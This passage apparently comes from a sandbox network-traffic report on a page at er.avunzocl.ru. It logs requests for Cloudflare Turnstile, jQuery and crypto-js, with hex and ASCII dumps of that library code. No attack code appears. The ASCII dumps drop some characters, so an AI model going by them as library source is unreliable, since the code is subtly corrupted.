e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-20 18:33:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:50 UTC	661	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:33:50 UTC	564	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Thu, 20 Mar 2025 18:33:50 GMT Via: 1.1 varnish Age: 1164613 X-Served-By: cache-lga21923-LGA X-Cache: HIT X-Cache-Hits: 203 X-Timer: S1742495631.946304,VS0,VE0 Vary: Accept-Encoding
2025-03-20 18:33:51 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-20 18:33:51 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-20 18:33:51 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-20 18:33:51 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-20 18:33:51 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-20 18:33:51 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:33:50 UTC	689	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://er.avunzocl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 18:33:51 UTC	958	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 18:33:51 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 213224 Expires: Tue, 10 Mar 2026 18:33:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ag8vnZY8JQOAaSi5ZDUz8Gw0n7jwhDQ0odyTFmVivIyERvcOPJ0W%2FqpU1ZpV9T7rjJxbUhCxVH%2FEHjd2yhC4sImlde0LEDbawFdFBo2RQ5kDBiGYy44TYd7ZXxY%2BkHx61YeV3tAN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 92374cddc9b8431f-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 18:33:51 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-03-20 18:33:51 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var 